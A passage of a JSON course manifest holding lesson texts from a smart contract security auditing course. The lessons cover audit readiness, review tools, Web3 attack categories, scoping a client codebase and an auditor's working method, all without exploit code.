you require hardware security keys for production systems?**\n- **Do you define key invariants for your system and test them on every commit?**\n- **Do you use the best automated tools to discover security issues in your code?**\n- **Do you undergo external audits and maintain a vulnerability disclosure or bug bounty program?**\n- **Have you considered and mitigated avenues for abusing users of your system?**\n\nAs developers, you must be able to answer all these queries before you proceed with an audit. If you're dealing with a protocol that fails to answer these questions, it's best to tell them the protocol isn't ready to ship, or arguably audit, until they can.\n\n> \"Delegate responsibility to someone on your team for security - Give your project a sense of ownership and a point person to handle any security breaches.\"\n\n### Nascent Audit Readiness Checklist\n\n[**This**](https://github.com/nascentxyz/simple-security-toolkit) checklist is another effective method to assess if you're ready for an audit. Though it offers different perspectives, it's another tool that helps you determine if your protocols are prepared for audits.\n\n### Next Steps and Post Deployment\n\nWe'll later cover the important of Post Deployment Planning and all that entails, including:\n\n- Bug Bounty Programs\n- Disaster Recovery Drills\n- Monitoring\n\nThinking about the steps necessary _after_ deployment really frames a protocols security holistically and ensures readiness to deal with potential exploits and ability to respond quickly.\n", + "updates": [] + }, + { + "id": "27302144-7410-43ef-939a-a772d20cbed8", + "number": 4, + "title": "Security Tools", + "slug": "tools", + "folderName": "4-tools", + "description": "", + "duration": 5, + "videoUrl": "RFNY64PLRiM", + "rawMarkdownUrl": "/routes/security/2-audit/4-tools/+page.md", + "markdownContent": "---\ntitle: What tools do we use in Security Reviews?\n---\n\n_Follow along with this video:_\n\n---\n\n## Tools for Security Reviews\n\nLet's overview some of the tools we'll be using while performing security reviews. As we progress in the course, you'll get more hands on experience with how they work!\n\n### Your First Line of Defense: Test Suites\n\nYour classic test suite is your project's first line of defense. These are your frameworks like Foundry, Hardhat, Brownie, Apeworx - even Remix has tests.\n\n> _Rest in Peace Truffle_ 😢\n\nThis course covers some really robust test suites that you can model your tests after and we'll talk more about the concept of `test coverage` a little later on.\n\n## Static Analysis: Debugging Without Execution\n\nStatic analysis represents the next level of defense. This method automatically checks for issues without executing your code, hence the debugging process remains `static`. Slither, 4nalyzer, Mythril, and Aderyn are some prominent tools in the static analysis category.\n\nThroughout this course, we'll work heavily with Slither and Aderyn, you'll become experts at these static analysis options.\n\n## Fuzz Testing: Randomness Meets Tests\n\nNext we have Fuzz testing, which really comes in two flavours, `fuzz testing` and `stateful fuzz testing`.\n\n\n\nA few other types of testing we _won't_ be covering are `differential test` and `chaos tests`, but in an effort to further you security journey, you always want to be looking for new looks and expanding your knowledge, so you may want to check them out.\n\n## Formal Verification: Mathematical Proofs\n\nFormal verification is a broad term for deploying formal methods to affirm the correctness of hardware or software. Often, these methods involve converting the codebase into mathematical expressions and deploying mathematical proofs to authenticate that the code does or doesn't do something specific.\n\nA popular formal verification approach is symbolic execution. This method converts your Solidity function into math or a set of boolean expressions. Manticore, Certora, Z3 stand tall in this domain.\n\nWe will delve deeper into formal verification in later sections.\n\n## AI Tools: Not Quite There Yet\n\nLastly but importantly, AI tools offer another dimension to imagine code auditing functionalities. However, despite their potential, they have some distance to cover before they provide substantial value for securing a codebase. At present, using AI tools could serve as a sanity check or aid in looking for something quickly, but if a project suggests it has been audited by an AI tool like `ChatGPT`, it is best to be skeptical and question if the project takes security seriously.\n\nThere's a great GitHub repo by ZhangZhuoSJTU that illustrates examples of bugs that are detectable by machines and those that aren't. Check it out [**here**](https://github.com/ZhangZhuoSJTU/Web3Bugs).\n\n## Wrapping Up\n\nAn important takeaway for you is that around **80%** of actual bugs and competitive audit bugs are not auto-detectable by machines, _including our present-day AI tools_. This revelation underlines two key facts:\n\n1. Our current tools aren't up to the mark, and we need better ones.\n2. Human auditors and human security researchers remain paramount. The vast majority of bugs often stem from business logic and incorrect implementations rather than common solidity or cryptography oddities.\n\nYou'll learn more about this distinction as we continue in this course.\n", + "updates": [] + }, + { + "id": "0c8d34f8-8bce-4d6c-9370-e85de0d4be31", + "number": 5, + "title": "What if a protocol I audit gets hacked?", + "slug": "hacked", + "folderName": "5-hacked", + "description": "", + "duration": 4, + "videoUrl": "oHER_x1vshM", + "rawMarkdownUrl": "/routes/security/2-audit/5-hacked/+page.md", + "markdownContent": "---\ntitle: What if I do a Security Review and the protocol gets hacked?\n---\n\n_Follow along with this video:_\n\n---\n\n# Penetrating the Scenario: What If Your Security Audit Fails?\n\nAs the world moves towards a more digital infrastructure, the importance of security audits cannot be overstated. But who carries the blame when these audits fail? Should it always land at the feet of those responsible for conducting the audit?\n\nWhile broaching upon this intricate subject, I recently had a pleasant chat with the legendary Tincho, who imparted an inspiring perspective. He offers valuable insights on the way we should perceive the role and responsibilities of auditors in these precarious scenarios. Below will be summaries based on his thoughts and perspective.\n\n## Redefining the Role of Auditors\n\nIn the eyes of many, the fundamental purpose of a security audit is to identify and rectify the most critical vulnerabilities in a system. However, Tincho encourages us to look beyond this simplistic view.\n\n> Auditors should provide value, regardless of whether or not they spot critical issues.\n\nIn other words, an auditor's value doesn't solely rest upon their ability to find vulnerabilities. Instead, their advice should strengthen the overall security protocol and offer pragmatic solutions for future scenarios.\n\nOf course, it goes without saying that the fewer critical vulnerabilities that are overlooked, the better - the safer Ethereum will be. It's naive however to believe that an auditor is solely responsible for when things go wrong.\n\n## Who Owns the Blame?\n\nThe notion of finding a scapegoat when a system is exploited is a regressive one.\n\n> A whole chain of events leads to the successful exploitation of a vulnerability.\n\nAttributing the failure of a system to an auditor's incompetency is simplistic and misguided. If a vulnerability was missed, it means it slipped past numerous stages of checks and balances, of which an audit is just one. When a flaw goes unnoticed for as long as four months, there are perhaps lapses in system monitoring and in many other security parameters.\n\n## The Auditor’s Role in the Wake of a Breach\n\nSo, what should an auditor do if a protocol they've reviewed ends up compromised? The answer is that a responsible security partner should not abandon their client in the midst of a crisis.\n\nAs an auditor, you may be able to help mitigate the damage, restrict the scope of the attack, and possibly identify the hackers. A quality auditor must be there, lending their expertise, during the inevitable chaos that ensues after a breach.\n\n> \"If you are to be the trusted security partner of your clients, probably, when they are hacked, you want to be there. You want to be there supporting them.\" - Tincho\n\n## Conclusion\n\nSecurity is a journey.\n\nIt was great catching up with Tincho, whose outlook on security audits balances realism with the optimistic pursuit of improvement. Every party involved in a security protocol must work together as a team and learn from any failure to ensure a safer, more secure digital environment.\n", + "updates": [] + }, + { + "id": "100452f0-5541-4c78-9d25-a8c86e433cfa", + "number": 6, + "title": "Top Web3 Attacks", + "slug": "attacks", + "folderName": "6-attacks", + "description": "", + "duration": 1, + "videoUrl": "MUMRXR4GEfA", + "rawMarkdownUrl": "/routes/security/2-audit/6-attacks/+page.md", + "markdownContent": "---\ntitle: Top kinds of Attacks in Web3 Today\n---\n\n_Follow along with this video:_\n\n---\n\nAs I've mentioned a few times, we need to have this **attackers and defenders mindset**. We need to always be expanding our knowledge, we need to always be leveling up.\n\nAs we progress I'll be giving you a tonne of tools to learn and grow your skill set. In addition to this, there will be exercises throughout for you to continue to seek that knowledge and really commit it.\n\n### Unraveling the Top Attack Vectors\n\nLets consider the weakest parts of Web3 and remind everyone with the **“Top Attack Vectors.”**\n\n1. **Private Keys** - Stolen Private Keys are responsible for the largest loss of funds so far in 2023 at `$243,000,000`\n2. **Reward Manipulation** – This vector involves the manipulation of decentralized incentive systems that could disrupt the balance and fairness within a network. `$200,000,000` has been rugged so far this year.\n3. **Price Oracle Manipulation** – This threat arises when a price oracle in centralized, or if a single oracle is relied upon, particularly with respect to price data. These vulnerabilities are responsible for `~$146,000,000` in losses in 2023.\n4. **Insufficient Access Controls** – onlyOwner modifiers, multi-sig wallets - just a couple things that could have preventing `$17,000,000` in stolen funds this year.\n5. **Re-entrancy(and Read-Only Re-entrancy)** - by not adhering to proper Checks, Effects, Interactions patterns - protocols are still being rekt to the tune of `$20,500,000` combined in 2023.\n\nMillions more have been lost across various, well-documented, and preventable attack vectors. The situation clearly illustrates how education is half the battle.\n\nCollectively, we will tackle these bugbears and issues in our forthcoming security reviews.\n\n> Always remember, my friends - Cybersecurity isn't about the systems or the codes; it's about maintaining a mindset. A mindset akin to an endless game of chess, predicting the opponent’s moves and always staying a step ahead.\n\n### Engaging in Persistent Learning and Improvement\n\nIn the forthcoming series of security audits, you'll get hands-on practice with data analysis, encryption methods, tackling suspicious scripts, and combating various cybersecurity threats. The exercises will stimulate your intellectual growth and help ingrain essential concepts into your tech-strategist mind.\n", + "updates": [] + }, + { + "id": "42962aa0-116e-45ae-8c31-2d01d7313526", + "number": 7, + "title": "Recap", + "slug": "recap", + "folderName": "7-recap", + "description": "", + "duration": 3, + "videoUrl": "wnU8Wz4JiE8", + "rawMarkdownUrl": "/routes/security/2-audit/7-recap/+page.md", + "markdownContent": "---\ntitle: Lesson 2 Recap\n---\n\n_Follow along with this video:_\n\n---\n\nCongratulations! You've come so far already, let's do a quick recap of what's been covered in this section.\n\n### The Basics of Smart Contract Audits\n\nA smart contract audit is a time-boxed security review, looking for security vulnerabilities. The goal here is to inform the protocol on how to be as secure as possible.\n\n### The Fundamentals of a Security Review\n\nThere's no `silver bullet` when it comes to how to perform a security review. Generally, a security review is divided into three stages:\n\n1. Initial review\n - Scoping\n - Reconnaissance\n - Vulnerability Identification\n - Reporting\n2. Protocol Fixes\n - Protocol fixes issues\n - Retests and adds tests for changes\n3. Mitigation Review\n - Reconnaissance\n - Vulnerability Identification\n - Reporting\n\n### Smart Contract Development Life Cycle\n\nKeep in mind that ensuring security isn’t only a crucial point in the smart contract development lifecycle, it's a continuous, never-ending process!\n\n- Plan & Design\n- Develop & Test\n- Smart Contract Audit & Post Deploy Planning\n- Deploy\n- Monitor & Maintain\n\n> \"_Security shouldn't just be an afterthought or some box you check. You need to have a security mindset from day one_\".\n\nThinking about post-deployment planning, monitoring and maintaining is just as important as the development itself.\n\n### Tooling for Security Review\n\nIn future posts, we'll be delving into the various tools utilized in conducting security reviews. Trust me, you'll need to get your hands dirty with tools like\n\nStatic Analysis\n\n- [Slither](https://github.com/crytic/slither)\n- [Aderyn](https://github.com/Cyfrin/aderyn)\n\nFuzzing/Invariant Tests\n\n- [Foundry Test Suite](https://github.com/foundry-rs/foundry)\n\nFormal Verification\n\n- [Certora](https://www.certora.com/)\n\nAI\n\n- [Phind](https://www.phind.com/search?home=true)\n- [ChatGPT](https://chat.openai.com)\n- [Co-Pilot](https://github.com/features/copilot)\n- [AI Limitations](https://github.com/ZhangZhuoSJTU/Web3Bugs)\n\n### Audit Readiness\n\nBefore a protocol is even ready for an audit, they should consider where they stand on the [**Rekt Test**](https://blog.trailofbits.com/2023/08/14/can-you-pass-the-rekt-test/) or other checklists like nacentxyz's [**simple-security-toolkit**](https://github.com/nascentxyz/simple-security-toolkit)\n\n### Always be Learning\n\nWe need to always be improving as security researchers and adopt an `attacker vs defender` mindset. It's only by staying informed and constantly improving that we can stay ahead of the problem.\n\nWe touched on top attack vectors that are hitting Web3 to this day (including re-entrancy which has been around since _2016!_).\n\nHopefully, with you taking this course we can learn from the mistakes in the past and finally reign in the exploitation in Web3.\n", + "updates": [] + }, + { + "id": "4c9a5a26-4242-41f9-8764-093d3776afef", + "number": 8, + "title": "Exercises", + "slug": "exercises", + "folderName": "8-exercises", + "description": "", + "duration": 3, + "videoUrl": "PacZkQkdwcY", + "rawMarkdownUrl": "/routes/security/2-audit/8-exercises/+page.md", + "markdownContent": "---\ntitle: Exercises\n---\n\n_Follow along with this video:_\n\n---\n\n### Section 2: Excercises\n\n---\n\n🎯 Exercise: `Sign up for at least 1 security/web3 newsletter!`\n\nThe reason this is so important is that you are now a security _researcher_. Keyword - `researcher`. You need to constantly be learning and taking in new things.\n\nIn this course we're going to be studying other people's reports, studying other audits (using a tool called [**Solodit**](https://solodit.xyz/)) and we'll be continuously learning from previous exploits.\n\n> Exploits in the space are learning opportunities for us to improve as security researchers.\n\nHere are some newletters/resources to check out:\n\n- [Blockchain Threat Intelligence](https://newsletter.blockthreat.io/?r=2mgsm7) (referral link)\n- [Solodit](https://solodit.xyz/)\n- [Rekt](https://rekt.news/)\n- [Week In Ethereum](https://weekinethereumnews.com/)\n- [Consensys Diligence Newsletter](https://consensys.io/diligence/newsletter/)\n- [Officer CIA](https://officercia.mirror.xyz/)\n\nWith all that said, you've now completed the high-level overview of what this process looks like. You should be very proud of yourself.\n\nTake a break and prepare to dive into our first audit together - Puppy Raffle.\n\nSection 2 NFT Challenge 👀\n\n[Hardest one of the whole course (Arb)](https://arbiscan.io/address/0xeab9c7ac697408fd1581494577c7c0716c3b75e6)\n\n[Hardest one of the whole course (Sepolia)](https://sepolia.etherscan.io/address/0x34d130b174f4a30a846fed7c02fcf53a19a4c2b6#code)\n", + "updates": [] + } + ] + }, + { + "number": 3, + "id": "62db753e-7568-4d6a-b630-823949273491", + "title": "Your First Audit | PasswordStore", + "slug": "first-audit", + "folderName": "3-first-audit", + "lessons": [ + { + "id": "074d29d9-9aac-4daf-b61f-3b040acc2acd", + "number": 1, + "title": "Your First Security Review", + "slug": "first-review", + "folderName": "1-first-review", + "description": "", + "duration": 5, + "videoUrl": "tTu_9DW_9n8", + "rawMarkdownUrl": "/routes/security/3-first-audit/1-first-review/+page.md", + "markdownContent": "---\ntitle: Your First Security Review\n---\n\n_Follow along with this video:_\n\n\n\n---\n\nWelcome everyone! I hope you're well-rested, rehydrated, and ready to dive into the nitty-gritty of how smart contract audits work. We've had a good start with a high-level overview of what a smart contract audit or a security review contains. Now, we're going to go a level further by conducting not one, but a handful of audits from sections 3 to 8.\n\nThis is an exciting journey to improve our understanding of audits. We'll strengthen our knowledge and learn from some of the best people in the world such as Hans, the number one competitive auditor in the world for the first half of 2023. Now let’s kick things off with the Password Store audit.\n\n## The Password Store Audit: A Closer Look\n\nFor today's adventure, we're immersing ourselves into a scenario where we'll perform our own private audit, just like you could if you were working for a firm like Cyfrin IO. It's a very immersive and experiential way of learning as we'll virtually submit a request for an audit, engage in the inbound process, and review the audit in detail.\n\n\n\n## What’s the Catch?\n\nNow, don't be fooled. We’ve picked a shorter codebase with minimal bugs for this exercise - one with less than 20 lines of code in fact, making it easier to understand at this stage. But remember, being a security expert means finding quirks where others might not see them.\n\nThis process might not be as straightforward as it seems, as clients often lack the knowledge and expertise that you bring. Thus, it is crucial that we don’t miss out on any bugs and threats.\n\n## Remember the Phases\n\nIt’s important to remember the phases for each audit or security review. They include:\n\n- Initial review\n- Protocol fixes\n- Mitigation review\n\nIn this course, our main focus will primarily be on the initial review. After the protocol fixes the identified bugs in the code base, the initial review is usually repeated, sans the scoping, which has already been done.\n\nHaving this strategy helps to keep our goals organized and in focus.\n\nSo, with the expectations set and our targets defined, let's move ahead and commence our very first smart contract audit or security review. We'll start off with a scenario that will help us better understand what our roles as auditors will look like.\n\n**Stick around for the next few sections where we truly get our hands on the auditing process and uncover the complexities within the audits!**\n", + "updates": [] + }, + { + "id": "2024196b-0a32-4a2e-a04b-da11d01beb92", + "number": 2, + "title": "Scoping: Etherscan", + "slug": "etherscan", + "folderName": "2-etherscan", + "description": "", + "duration": 6, + "videoUrl": "jD9_ZAOf6hk", + "rawMarkdownUrl": "/routes/security/3-first-audit/2-etherscan/+page.md", + "markdownContent": "---\ntitle: Scoping Raw Etherscan\n---\n\n_Follow along with this video:_\n\n\n\n---\n\nIn this lesson, we'll examine the initial steps of performing a security review with live examples, focusing on a Password Store audit. I'm going to take a deep-dive into the scoping phase, which is the primary step in conducting a security review.\n\n## The Scoping Phase and Initial Review\n\nThe scoping phase is where we receive the contract and fathom the scope of the review for this particular security audit of a Password Store. Conventionally, like any other audit exchange, the codebase will be solicited for immediate auditing with the end goal of gaining official listing.\n\nImagine a scenario like this:\n\n_CLIENT: \"Hi, we're the Password Store audit team looking to get our codebase audited ASAP to get it listed officially.\"_ \n_AUDITOR: \"Hi Password Store, I'm beginner auditor number one. Really excited to help. Could you send your codebase to me?\"_ \n_CLIENT: \"Sure, here's the etherscan link to our codebase.\"_\n\nThis exchange is all too common. However, it poses a high risk.\n\nWhy?\n\nBecause what you've received is simply an etherscan link to the contract that's been verified on-chain. While it's great that it's been verified on-chain, this should immediately raise a red flag. It's not acceptable to perform an audit or a security review on a code base that is exclusively on Etherscan.\n\n## The Downside of Relying On Etherscan Exclusively\n\nThe point of security reviews is not just to detect bugs but also to get an understanding of the code's maturity level. You can't gage things like whether they've a test suite, a deployment suite or an evaluation of the overall maturity of the codebase just by looking at an exclusively Etherscan-based codebase. As a security researcher, our aim is to promote and propagate secure codebases, leaving all protocols interacting with us better equipped to secure their own code.\n\n> **Remember: Secure protocols not only safeguard the code but also our reputation as researchers. They will likely blame us for a security breach if we've audited a compromised codebase.**\n\nIf all they provide is an etherscan link, can you assure the protocol's safety? In these cases, the answer is a harty **NO**.\n\n## Nowhere to Start: The Danger of Limited Documentation\n\nSo how, then, should we start with this etherscan link review?\n\nGoing back to what we learned about **audit readiness**, there's a simple security checklist and the **rect test** that proves handy.\n\nThe **_rect test_** probes for:\n\n1. Documentation of all actors, roles, and privileges,\n2. Documentation of all the external services, contracts and oracles,\n3. Is there a written and tested incident response plan?,\n4. Documentation of the best ways to attack the system,\n5. Identity verification,\n6. Security definitions.\n\nIf a codebase only provides an Etherscan link, it's hard-pressed to pass this test. Remember this rule:\n\n> **If you're offered monetary reward to audit an Etherscan-only codebase, that's a red flag. Say NO. Doing otherwise contradicts our mission to promote secure protocols.**\n\n### Proactive Steps: Questions to Ask Your Client\n\nTo ensure the more secure protocol, ask your client these rect test questions. If the protocol insists that they're not planning to install a test suite, offer to do it for them, after they pay for the additional consulting fee. Weighing on the side of caution, you might ask:\n\n> **\"Do you have a test suite? We want to be sure that your codebase is safe and secure. Do you have a Git repo, perhaps on Github or GitLab, where you have a testing framework related to this codebase?\"**\n\nMost likely, they'll appreciate your considerably detailed observation, and provide the necessary information. Adhering to these steps will ensure a more thorough, and overall secure, audit of the codebase. This approach emphasizes our goal as security professionals to leave protocols interacting with us better educated on code security - the first step towards a safer digital world.\n", + "updates": [] + }, + { + "id": "b7294794-b3b1-4ee5-b00d-20a84f815bd3", + "number": 3, + "title": "Scoping: Audit Details", + "slug": "details", + "folderName": "3-details", + "description": "", + "duration": 13, + "videoUrl": "_dMiBys00jc", + "rawMarkdownUrl": "/routes/security/3-first-audit/3-details/+page.md", + "markdownContent": "---\ntitle: Nailing the Audit Details\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## Getting Started\n\nStarting off, we have our Git repository linked to this tutorial. Our client has graciously updated the codebase for this security review, featuring an improved framework and enhanced verbosity in their Security Review Code V2.\n\nExploring the new codebase, we find it to be comprehensive with an `SRC` folder and a script detailing deployment procedures. However, as we dig in, we find that the README needs refinement and tailoring to our needs rather than the template Foundry README. There is also a glaring omission — there are no test folders.\n\nUncertainty remains on what changes were made to the files in the `Lib` folder and what exactly we have to audit within this codebase. It is crucial at this point to ensure we get a complete understanding of the audit scope before any actual auditing starts. This process, known as the scoping phase, will guide you to thoroughly onboard the protocol and the client.\n\n\n\n## Preparing for the Audit: Onboarding Questions\n\nFor your convenience, the GitHub repo linked with this tutorial contains an essential document called Minimal Onboarding Questions. This document will help you extract the minimum information necessary for a successful audit or security review.\n\nLet's go through these questions and understand why each one is important in preparing for our security review.\n\n1. **Details regarding the project and its documentation:** Knowledge about the project and its business logic is crucial. You need to be aware of what the project is intended to do so as to spot areas where code implementation does not align with the project's purpose.\n2. **Understanding the codebase:** Information about the size of the codebase, how many lines of code exist, and its complexity is incredibly vital. This data will help to estimate the timeline and workload for the audit.\n3. **Setting up the project:** Details regarding deployment of the project and how to build the project should be collected.\n4. **Security review scope:** Know the exact commit hash that the client plans to deploy and the specific elements of the codebase it covers. You do not want to spend time auditing code that the client has already modified or doesn't plan to use.\n5. **Identifying compatibilities:** Information about the solidity version the client is using, the chains they plan on working with, and the tokens they will be integrating is important.\n6. **Roles within the system:** This entails understanding the different roles and powers within the system.\n7. **Awareness of known issues:** Understanding existing vulnerabilities and bugs which may not disallow the system from working but are still significant to its security.\n\nGiving these questions to the client allows you to garner the bare minimum information to conduct the audit. It's worth noting that this allied assistance is a two-way street. While our onboarding questions help clients clarify their requirements to us, we, in turn, educate them on the value of a well-executed audit, the precautions necessary for optimal security, and the potential hazards of insufficient project documentation.\n\n## Modifying the Codebase & Client Cooperation\n\nOnce our client has filled out the minimal onboarding questions and we have clarified all ambiguities, we are ready to start modifying the codebase.\n\nClients must provide an adequately documented codebase for comprehensive and effective auditing. For instance, missing sections like a test folder in our case clearly indicate that the codebase is unready for auditing.\n\nIn such cases, we go back to the client, highlight the gaps, and have them complete the documentation or supply any missing details.\n\nIn response, your client should comply and work on making the codebase secure, since they do not want to be vulnerable to hacking threats. We also advise our clients that including tests and elaborate documentation can only set up the codebase for more accurate assessment and effective security recommendations.\n\n## Digging into the Updated Codebase\n\nWith the client's cooperation and our earlier efforts, we can now go forward with the codebase inspection. We find a richly documented codebase optimized for security review in the 'onboarded' branch. For a quick reference, we usually set the essential scope details in the README.\n\nRemember, asking the right onboarding questions, setting clear auditing scopes, and ensuring proper documentation is not only helpful for a smooth auditing process but also indirectly teaches clients about taking security seriously.\n\nHappy auditing!\n", + "updates": [] + }, + { + "id": "2b4e7a53-dc86-4f8f-a522-2b5e762cb09b", + "number": 4, + "title": "Scoping: cloc", + "slug": "cloc", + "folderName": "4-cloc", + "description": "", + "duration": 3, + "videoUrl": "evYm83lAPpI", + "rawMarkdownUrl": "/routes/security/3-first-audit/4-cloc/+page.md", + "markdownContent": "---\ntitle: Scoping CLOC\n---\n\n_Follow along with this video:_\n\n\n\n---\n\nIn this lesson, we'll be going over a crucial step in scoping a contract: getting the stats of the protocol. As a part of this process, we'll be using a widely recognized tool known as CLOC, or Count Lines of Code.\n\nThe beauty of CLOC is about its compatibility; it works with pretty much any codebase you work with, be it Solidity, Python, Rust, and so on. It does exactly what it says –counts your lines of code, allowing you to quickly analyze the size and complexity of your projects.\n\n## Installing and Using CLOC\n\nTo use CLOC, the first step is downloading and installing. This can be done from a few different places; a popular method is to simply install via a package manager like NPM, Apt Brew for Mac users, among others. The entire installation process won't be covered here, but it is straightforward enough that anyone proficient in working with such tools should have no trouble.\n\nOnce successfully installed, run CLOC using your terminal. You can verify your installation by running CLOC help. This should give you an output showing a list of useful commands.\n\nTo get started, simply run CLOC with the directory or files you want to count the lines of code on. Upon hitting enter, you'll see a concise and detailed output. It will give you a few key stats: the number of files, the number of blank lines, the number of comment lines, and most importantly, the number of actual lines of code.\n\n```bash\ncloc /directory_name\n```\n\nThis is what the output might look like:\n\n```shell\nNumber of files: 1\nNumber of blank lines: 5\nNumber of comment lines: 12\nNumber of code lines: 20\n```\n\n## The Importance of Knowing Your Codebase Size\n\nWhy is knowing the number of source lines of code (also referred to as Nsloc) crucial? The answer lies in the process of auditing and security research.\n\nAs you perform more audits and delve further into security research, you'll start to gauge the pace at which you can audit a code base. Understanding that pace enables you to estimate more accurately the time required for future coding or auditing tasks based on the size of the code base.\n\nThis is incredibly useful, as with time, you can use your past audit experience and tell the protocol you're working with how long it will take to audit their codebase. Notably, this pace tends to speed up as you do more security reviews. Nevertheless, it's a good starting point.\n\n> _\"When auditing 1000 lines of code for the first time, you now have an estimated timeline for subsequent audits or security reviews of 1000 lines codebases.\"_\n\nOften, competitive audits might have a quicker timeline depending on the auditing platform. Upon having a good grasp of your auditing speed, it may assist in selecting competitive audits that align with your capabilities, or even ones that push you to accelerate your pace.\n\nIn conclusion, stats like the complexity score and Nsloc are crucial for proper auditing. They not only help you estimate the time taken for an audit but also potentially push you to improve your skills in the process. They are, quite literally, a measure of your codebase—and your abilities.\n", + "updates": [] + }, + { + "id": "4729ad23-b598-4fb9-bbde-10e36f33d315", + "number": 5, + "title": "Recap I", + "slug": "recap-i", + "folderName": "5-recap-i", + "description": "", + "duration": 3, + "videoUrl": "bMYONrWwu3o", + "rawMarkdownUrl": "/routes/security/3-first-audit/5-recap-i/+page.md", + "markdownContent": "---\ntitle: Recap I\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## Embracing Your Role as a Security Researcher\n\nFirst and foremost, you are not just coders or developers - you are security researchers. You are the gatekeepers ensuring the integrity of smart contracts. A mere [Etherscan](https://etherscan.io/) link╮ does not guarantee the maturity of any codebase. Our goal is to ensure that these protocols are not only safe and secure but also well-documented and supported with a robust test suite.\n\n> \"Smart contracts are the most adversarial environment on the planet, and we need to treat them as such.\"\n\nIf you are handed a code base within a smart contract development framework, yet find it lacking adequate tests or documentation, remember, this isn't going to be helpful. Our job often involves dealing with business logic bugs - understanding what the codebase does is crucial.\n\nAs much as we need more information from protocol developers, sometimes, it falls upon us, the security researchers, to educate them about the best security practices.\n\n## Scoping Out a Codebase\n\nWondering where to start? We provide you with a minimal onboarding form to begin your client interaction. This form facilitates your understanding of the fundamentals required for scoping out a codebase.\n\nAs you gain more experience, an extended onboarding form will be introduced. Let's not jump ahead though; we'll touch on this more in future sessions.\n\nWith our final security review code base, you have the answer key to all the bugs within the system. A final onboarded test suite (final security review v3) is available at your disposal.\n\nYou can customize the onboarding form based on your preferences. In competitive audits, you'll find the form already filled out for you. This form is the basic blueprint of what you'll need the codebase to be like.\n\n## Information - Your Key to a Successful Security Review\n\nFor a fruitful security review, obtaining thorough knowledge is critical. You should know\n\n1. How to clone the codebase\n2. How to build it\n3. How to test it\n\nMore than this, you'll need the exact commit hash, the precise files, and the scope with which you'll be working, as well as the Solidity version (Solc) and the chains involved.\n\nThus, your primary mission is to hunt down information.\n\n```\nThe steps involved in a security review:- Cloning the codebase- Building it- Testing it- Knowing the commit hash- Identifying the files and scope.- Understanding the Solc version and chains involved.\n```\n\n## Congratulatory Note and a Sneak Peek\n\nA huge congratulations on reaching this far! I know the journey might seem verbose and daunting, but trust me, all these painstaking steps are crucial. They will save you hours in the future, especially if you consider becoming an independent auditor or starting your firm.\n\nWhether or not you opt for a competitive audit, understanding these essentials will fortify your strategy for handling future security situations.\n\nStay tuned! The course has a lot more in store for you, as we will discuss different practices and insights key to your growth as a successful security researcher. Let's soldier on toward becoming the best guardians of the digital realm!\n", + "updates": [] + }, + { + "id": "bfb6c3c7-e21e-4071-8144-ee62b276d586", + "number": 6, + "title": "\"The Tincho\"", + "slug": "process-tincho", + "folderName": "6-process-tincho", + "description": "", + "duration": 15, + "videoUrl": "KJbU3pxscJw", + "rawMarkdownUrl": "/routes/security/3-first-audit/6-process-tincho/+page.md", + "markdownContent": "---\ntitle: The Audit Process With Tincho\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n### Meet Master Tincho\n\nMaster Tincho is a part of Redgill, a firm specializing in smart contracts and EVM security. Tincho and the Red Guild are dedicated to ensuring security in the EVM space, and frequently contribute their wealth of knowledge, expertise, and passion to the community.\n\nHe has previously served as the lead auditor at the security firm OpenZeppelin and has graciously agreed to share his unique approach to performing security reviews on codebases. He was instrumental in the creation of this course and we owe him a huge round of applause for that!\n\nNow, are you ready to learn from the best?\n\n### The Tincho Auditing Method\n\nTo illustrate the Tincho auditing method, we're going to refer to a video where Tincho performs a live auditing of the Ethereum Name Service (ENS). \"Auditing ENS! That sounds complex\", you might be thinking. Well, fear not as we'll break this down into bite-sized pieces of easy-to-digest information.\n\n> \"I don't have a super formal auditing process. I will just show you briefly some things that I do...\" - Tincho\n\nFirst things first, let's clone the ENS repository into our local development environment and begin the mad reading.\n\n#### Reading... Reading... More Reading\n\nBefore diving into the code, familiarize yourself with some jargon that you might come across often in the code, such as what a registry or a resolver is - things that you'll gain understanding about as you read through the documentation.\n\n#### Tool Time\n\nNow let's move onto some handy tools for auditing:\n\n- **VS Codeium**: Tincho's text-editor of choice. It is a 'more-private' spin-off from VS Code that respects your data privacy.\n- **Clock**: A simple command-line utility that helps count lines of code which can give a sense of the complexity of different parts of the codebase.\n- **Solidity Metric**: Another tool developed by consensus that provides useful metrics about your Solidity codebase.\n\nOnce you get your initial overview, it's time to roll up your sleeves and dive deeper into the codes.\n\n> \"I would advise to keep the clients at hand. Ask questions, but also be detached enough.\" - Tincho\n\n### Audit, Review, Audit, Repeat\n\nKeeping a record of your work is crucial in this process. Tincho recommends taking notes directly in the code and maintaining a separate file for raw notes and ideas.\n\nRemember, there is always a risk of diving too deep into just one part of the code and losing the big picture. So, remember to pop back up and keep an eye on the over-all review of the code base.\n\nOne distinct part of the Tincho method is writing proof-of-concept (POC) exploits via Solidity tests in his preferred test environment, Foundry. This quickly verifies or falsifies any hunches about possible vulnerabilities.\n\nAt this stage of the process, keeping an open line of communication with the client is key. Often times they will have much more context on why certain things were coded the way they were.\n\nRemember, the goal is not to trust completely, but to validate.\n\n### Wrapping it All Up\n\nAfter your audit, it's time to neatly present your findings in a report. Note that your work isn't over once the report has been handed over. The client will go back, make the necessary fixes based on your suggestions and return to you with the updated code.\n\nYour final responsibility is to ensure that these fixes effectively correct the earlier identified vulnerabilities and that they didn't inadvertently introduce new ones.\n\n### Aftermath of a Missed Vulnerability\n\nThere will always be the fear of missing out on some vulnerabilities and instead of worrying about the cracks that slip through the net, aim to bring value beyond just identifying vulnerabilities. Imbibe the thought that even if you missed a critical vulnerability, the value you delivered was worth it.\n\nA last takeaway from Tincho:\n\n> \"Knowing that you’re doing your best in that, knowing that you’re putting your best effort every day, growing your skills, learning grows an intuition and experience in you.\"\n\nWith that, we conclude our detailed examination of the Tincho style of auditing in the EVM ecosystem. I hope you enjoyed learning about this process just as much as I enjoyed presenting it to you.\n\nStay tuned for more content geared towards making you the best auditor you can be. Until next time, folks!\n", + "updates": [] + }, + { + "id": "2c621243-12a8-4b87-a757-dc85c1ec9bd5", + "number": 7, + "title": "Recon: Context", + "slug": "context", + "folderName": "7-context", + "description": "", + "duration": 5, + "videoUrl": "NPoji_Z0hvs", + "rawMarkdownUrl": "/routes/security/3-first-audit/7-context/+page.md", + "markdownContent": "---\ntitle: Recon - Getting Context\n---\n\n_Follow along with this video:_\n\n\n\n---\n\n## First 